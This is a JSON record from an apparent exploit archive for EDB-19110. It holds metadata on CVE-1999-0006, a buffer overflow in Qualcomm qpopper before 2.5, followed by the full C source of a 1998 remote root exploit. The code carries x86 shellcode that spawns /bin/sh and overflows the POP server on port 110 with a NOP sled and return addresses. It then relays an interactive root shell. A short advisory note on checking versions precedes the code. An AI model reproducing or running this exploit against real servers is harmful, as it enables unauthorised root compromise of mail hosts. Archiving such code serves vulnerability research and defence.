{"exploit":{"id":"EDB-19110","name":"Qualcomm qpopper 2.4 - POP Server Buffer Overflow (2)","description":"Qualcomm qpopper 2.4 - POP Server Buffer Overflow (2)","cves":["CVE-1999-0006"],"author":"Miroslaw Grzybek","published":"1998-06-27","platform":"unix","type":"remote","language":"C","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/19110","path":"exploits/unix/remote/19110.c","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-19110.c","vulnerabilities":[{"id":"CVE-1999-0006","state":"PUBLISHED","title":null,"titleSource":null,"description":"Buffer overflow in POP servers based on BSD/Qualcomm's qpopper allows remote attackers to gain root access using a long PASS command.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-1999-0006","cvss":{"version":"3.1","baseScore":9.8,"severity":"critical","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","source":"CISA-ADP","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-1999-0006"},"updatedAt":"2024-10-29T14:08:55.394Z","retrievedAt":"2026-11-27T13:12:36.055Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-19110.png?v=2","url":"https://exploitbin.com/exploits/EDB-19110","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-19110/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-19110/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"// source: https://web.archive.org/web/1998/https://www.securityfocus.com/bid/133/info\n\nA number of buffer-overflow issues reside in versions prior to 2.5 of Qualcomm's 'qpopper' program. Exploiting this issue allows a remote attacker to execute arbitrary commands on hosts that are running a vulnerable version.\n\nTo determine if you are vulnerable, telnet to port 110 on the possibly vulnerable host. A banner appears, informing you of the version of the pop server. For example:\n\n% telnet yourmailhost.your.domain.com 110\nTrying 123.123.123.123\nConnected to mailhost\n+OK QPOP (version 2.4) at yourmailhost.your.domain.com starting\n\nIf any version prior to 2.5 is reported, including 2.5 beta, you should upgrade immediately to the latest version.\n\n/*\n *      QPOPPER - remote root exploit\n *      by Miroslaw Grzybek <mig@zeus.polsl.gliwice.pl>\n *\n *              - tested against: FreeBSD 3.0\n *                                FreeBSD 2.2.x\n *                                BSDI BSD/OS 2.1\n *              - offsets: FreeBSD with qpopper 2.3 - 2.4    0\n *                         FreeBSD with qpopper 2.1.4-R3     900\n *                         BSD/OS  with qpopper 2.1.4-R3     1500\n *\n *      this is for EDUCATIONAL purposes ONLY\n */\n\n#include        <stdio.h>\n#include        <stdlib.h>\n#include        <sys/time.h>\n#include        <sys/types.h>\n#include        <unistd.h>\n#include        <sys/socket.h>\n#include        <netinet/in.h>\n#include        <netdb.h>\n\n#include        <sys/errno.h>\n\nchar *shell=\"\\xeb\\x32\\x5e\\x31\\xdb\\x89\\x5e\\x07\\x89\\x5e\\x12\\x89\\x5e\\x17\"\n            \"\\x88\\x5e\\x1c\\x8d\\x1e\\x89\\x5e\\x0e\\x31\\xc0\\xb0\\x3b\\x8d\\x7e\"\n            \"\\x0e\\x89\\xfa\\x89\\xf9\\xbf\\x10\\x10\\x10\\x10\\x29\\x7e\\xf5\\x89\"\n            \"\\xcf\\xeb\\x01\\xff\\x62\\x61\\x63\\x60\\xeb\\x1b\\xe8\\xc9\\xff\\xff\"\n            \"\\xff/bin/sh\\xaa\\xaa\\xaa\\xaa\\xff\\xff\\xff\\xbb\\xbb\\xbb\\xbb\"\n            \"\\xcc\\xcc\\xcc\\xcc\\x9a\\xaa\\xaa\\xaa\\xaa\\x07\\xaa\";\n\n#define ADDR 0xefbfd504\n#define OFFSET 0\n#define BUFLEN 1200\n\nchar    buf[BUFLEN];\nint     offset=OFFSET;\n\nint     sock;\nstruct  sockaddr_in sa;\nstruct  hostent *hp;\n\nvoid main (int argc, char *argv[]) {\n        int i;\n\n        if(argc<2) {\n                printf(\"Usage: %s <IP | HOSTNAME> [offset]\\n\",argv[0]);\n                exit(0);\n        }\n        if(argc>2)\n                offset=atoi(argv[2]);\n\n        /* Prepare buffer */\n        memset(buf,0x90,BUFLEN);\n        memcpy(buf+800,shell,strlen(shell));\n        for(i=901;i<BUFLEN-4;i+=4)\n                *(int *)&buf[i]=ADDR+offset;\n        buf[BUFLEN]='\\n';\n\n        /* Resolve remote hostname & connect*/\n        if((hp=(struct hostent *)gethostbyname(argv[1]))==NULL) {\n                perror(\"gethostbyname()\");\n                exit(0);\n        }\n\n        if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))<0) {\n                perror(\"socket()\");\n                exit(0);\n        }\n        sa.sin_family=AF_INET;\n        sa.sin_port=htons(110);\n        memcpy((char *)&sa.sin_addr,(char *)hp->h_addr,hp->h_length);\n        if(connect(sock,(struct sockaddr *)&sa,sizeof(sa))!=0) {\n                perror(\"connect()\");\n                exit(0);\n        }\n        printf(\"CONNECTED TO %s... SENDING DATA\\n\",argv[1]); fflush(stdout);\n        /* Write evil data */\n        write(sock,buf,strlen(buf));\n\n        /* Enjoy root shell ;) */\n        while(1) {\n                fd_set input;\n\n                FD_SET(0,&input);\n                FD_SET(sock,&input);\n                if((select(sock+1,&input,NULL,NULL,NULL))<0) {\n                        if(errno==EINTR) continue;\n                        printf(\"CONNECTION CLOSED...\\n\"); fflush(stdout);\n                        exit(1);\n                }\n                if(FD_ISSET(sock,&input))\n                        write(1,buf,read(sock,buf,BUFLEN));\n                if(FD_ISSET(0,&input))\n                        write(sock,buf,read(0,buf,BUFLEN));\n        }\n}","sha256":"bfa44d1f24cdbabe882ba4d3d9b361ac43a269090f26b80dd2a6b12e83f86e0c","bytes":3883,"fetchedAt":"2026-11-27T13:12:35.943Z","encoding":"utf-8 (display only; download retains original bytes)"}